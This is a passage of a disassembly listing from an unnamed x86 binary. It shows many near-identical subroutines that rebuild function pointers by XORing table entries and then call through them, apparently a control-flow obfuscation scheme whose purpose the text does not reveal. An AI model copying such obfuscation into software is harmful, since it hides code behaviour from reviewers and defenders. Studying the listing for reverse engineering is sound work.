mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4A01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4AFE proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED898o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7 mov [ebp+var_2C], 0D9h mov [ebp+var_28], 0ADh mov [ebp+var_24], 0E1h mov [ebp+var_20], 0C7h mov [ebp+var_1C], 75h mov [ebp+var_18], 8Ah mov [ebp+var_14], 70h mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A4B8C mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A4B8C: ; CODE XREF: sub_4A4AFE+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4AFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4BF8 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED89Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 37h mov [ebp+var_2C], 24h mov [ebp+var_28], 92h mov [ebp+var_24], 76h mov [ebp+var_20], 0A2h mov [ebp+var_1C], 0ECh mov [ebp+var_18], 0DAh mov [ebp+var_14], 0B8h mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A4C89 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A4C89: ; CODE XREF: sub_4A4BF8+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4BF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4CF5 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8A0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 9Dh mov [ebp+var_2C], 12h mov [ebp+var_28], 3 mov [ebp+var_24], 0EAh mov [ebp+var_20], 0DEh mov [ebp+var_1C], 0EEh mov [ebp+var_18], 0BCh mov [ebp+var_14], 2Bh mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A4D86 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A4D86: ; CODE XREF: sub_4A4CF5+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4CF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4DF2 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8A4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 5Dh mov [ebp+var_2C], 0Eh mov [ebp+var_28], 86h mov [ebp+var_24], 0F8h mov [ebp+var_20], 7Ah mov [ebp+var_1C], 74h mov [ebp+var_18], 0A3h mov [ebp+var_14], 0C0h mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A4E83 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A4E83: ; CODE XREF: sub_4A4DF2+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4DF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4EEF proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8A8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0C3h mov [ebp+var_2C], 0CDh mov [ebp+var_28], 91h mov [ebp+var_24], 0Eh mov [ebp+var_20], 9Eh mov [ebp+var_1C], 0BFh mov [ebp+var_18], 95h mov [ebp+var_14], 37h mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A4F80 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A4F80: ; CODE XREF: sub_4A4EEF+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4EEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4FEC proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8ACo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 61h mov [ebp+var_2C], 0D0h mov [ebp+var_28], 6Bh mov [ebp+var_24], 6Ah mov [ebp+var_20], 40h mov [ebp+var_1C], 0A8h mov [ebp+var_18], 45h mov [ebp+var_14], 0AAh mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A507D mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A507D: ; CODE XREF: sub_4A4FEC+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4FEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A50E9 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8B0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0EAh mov [ebp+var_2C], 0D6h mov [ebp+var_28], 3Eh mov [ebp+var_24], 1Ch mov [ebp+var_20], 57h mov [ebp+var_1C], 17h mov [ebp+var_18], 87h mov [ebp+var_14], 75h mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A517A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A517A: ; CODE XREF: sub_4A50E9+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A50E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A51E6 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8B4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 65h mov [ebp+var_2C], 0A6h mov [ebp+var_28], 0BDh mov [ebp+var_24], 0DEh mov [ebp+var_20], 12h mov [ebp+var_1C], 0F0h mov [ebp+var_18], 0D6h mov [ebp+var_14], 66h mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5277 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5277: ; CODE XREF: sub_4A51E6+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A51E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A52E3 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8B8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 15h mov [ebp+var_2C], 7Bh mov [ebp+var_28], 2Fh mov [ebp+var_24], 7Fh mov [ebp+var_20], 45h mov [ebp+var_1C], 0DBh mov [ebp+var_18], 15h mov [ebp+var_14], 56h mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5374 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5374: ; CODE XREF: sub_4A52E3+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A52E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A53E0 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8BCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Eh mov [ebp+var_2C], 61h mov [ebp+var_28], 0F3h mov [ebp+var_24], 0C9h mov [ebp+var_20], 0A2h mov [ebp+var_1C], 0ECh mov [ebp+var_18], 5Eh mov [ebp+var_14], 9Dh mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5471 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5471: ; CODE XREF: sub_4A53E0+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A53E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A54DD proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8C0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0BAh mov [ebp+var_2C], 37h mov [ebp+var_28], 0B0h mov [ebp+var_24], 0ACh mov [ebp+var_20], 91h mov [ebp+var_1C], 0 mov [ebp+var_18], 20h mov [ebp+var_14], 87h mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A556E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A556E: ; CODE XREF: sub_4A54DD+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A54DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A55DA proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8C4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 55h mov [ebp+var_2C], 78h mov [ebp+var_28], 9Bh mov [ebp+var_24], 2Bh mov [ebp+var_20], 0DDh mov [ebp+var_1C], 0EAh mov [ebp+var_18], 52h mov [ebp+var_14], 57h mov [ebp+var_10], 4 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 4 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A566B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A566B: ; CODE XREF: sub_4A55DA+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A55DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A56D7 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8C8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7 mov [ebp+var_2C], 0B5h mov [ebp+var_28], 0F1h mov [ebp+var_24], 12h mov [ebp+var_20], 0F4h mov [ebp+var_1C], 57h mov [ebp+var_18], 4Dh mov [ebp+var_14], 0EFh mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5768 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5768: 